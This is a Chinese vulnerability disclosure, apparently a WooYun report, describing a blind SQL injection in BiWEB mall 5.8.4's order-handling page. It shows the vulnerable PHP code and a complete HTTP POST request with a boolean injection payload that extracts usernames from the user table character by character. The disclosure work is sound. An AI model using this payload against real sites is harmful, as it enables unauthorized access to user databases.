### 简要描述:
BiWEB最新商城版注入一枚(无视全局过滤)
### 详细说明:
看wooyun上看到了有人提了BiWEB的一个XSS漏洞: [WooYun: BIWEB商城版XSS盲打cookie](http://www.wooyun.org/bugs/wooyun-2014-049745) ,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
在用户操作订单的时候有个SQL注入漏洞,error-based blind 失败,bool-based blind成功,下面是分析产生过程及注入证明。
BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这里就先不说这种过滤的脑残之处了。
继续往下看,处理用户订单的文件/deal/adminu/my_deal.php(测试时记得要先注册一个用户并登录)。
```
无关代码
if ($_SERVER["REQUEST_METHOD"] == "POST"){
//id[]处理
$strId=implode(",",$_POST["id"]);
$strId="(".$strId.")";
if($_POST['id'] == ''){
check::Alert('请选择订单',-1);
}
$arrInfo = $objWebInit->getDeal($strId);
if($arrInfo['state'] ==6){
check::Alert('该订单已经完成,不能再操作',-1);
}
if($_POST['del'] !=''){
if($arrInfo['type_id'] == 1){//当订单状态为:新订单,待确认 ,可以取消
if($objWebInit->deleteDeal($strId)){
check::Alert('取消订单成功',-1);
} else {
check::Alert('取消订单失败',-1);
}
}else{
check::Alert('您无法取消订单,请跟商家联系!',-1);
}
}else{
if($arrInfo['type_id'] != 5){//当订单状态为:新订单,待确认 ,可以取消
if($objWebInit->SuccessDeal($strId)){
check::Alert('交易成功',-1);
} else {
check::Alert('交易失败',-1);
}
}else{
check::Alert('此订单已经交易成功!',-1);
}
}
}
无关代码
```
这是操作订单的代码,就是取消订单,可以看到,需要POST一个数组,但是POST的数据是数字型的,也就可以绕过全局过滤了。再看看后面有没有对这里POST的值进行过滤,上面代码执行了$arrInfo = $objWebInit->getDeal($strId);,去看看getDeal()。
```
function getDeal($id,$pass=null){
if($pass!=null) $where= " and pass='$pass'";
else $where="";
$strSQL = "SELECT * FROM $this->tablename2 ".
" Where id in ".$id.$where;
$rs = $this->db->query($strSQL);
return $rs->fetch();
```
到这里问题就来了,直接执行SQL了。登录,抓包,修改,增加payload。
Payload:
```
POST /deal/adminu/my_deal.php HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://192.168.0.107/deal/adminu/my_deal.php
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.107
Content-Length: 147
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: AJSTAT_ok_times=1; PHPSESSID=dg65p98c6jmaasrkc1vld9avt1
user_name=XXXXX&del=%E5%8F%96%E6%B6%88%E8%AE%A2%E5%8D%95&id[]=1&id[]=1) and mid((select user_name from biweb_user limit 0,1),1,1)='a' and (1)=(1
```
因为是bool-based blind,所以当猜测正确时,是这样的
[<img src="https://images.seebug.org/upload/201411/070008391271da2e51e0fd523c958bb1dc34a9ed.jpg" alt="bool注入条件成立副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/070008391271da2e51e0fd523c958bb1dc34a9ed.jpg)
SQL执行情况
[<img src="https://images.seebug.org/upload/201411/0700085216ece18d042b88102ff676734101ad39.jpg" alt="bool注入条件成立时执行的SQL语句副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/0700085216ece18d042b88102ff676734101ad39.jpg)
如果猜测不对
[<img src="https://images.seebug.org/upload/201411/07000922b7d49e9d98dc4fe76af0801b6168bf8d.jpg" alt="bool注入条件不成立副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07000922b7d49e9d98dc4fe76af0801b6168bf8d.jpg)
手工只是为了证明存在漏洞,利用时,可以写脚本,可以用工具,否则手工会累死人。
### 漏洞证明:
见 详细说明
暂无评论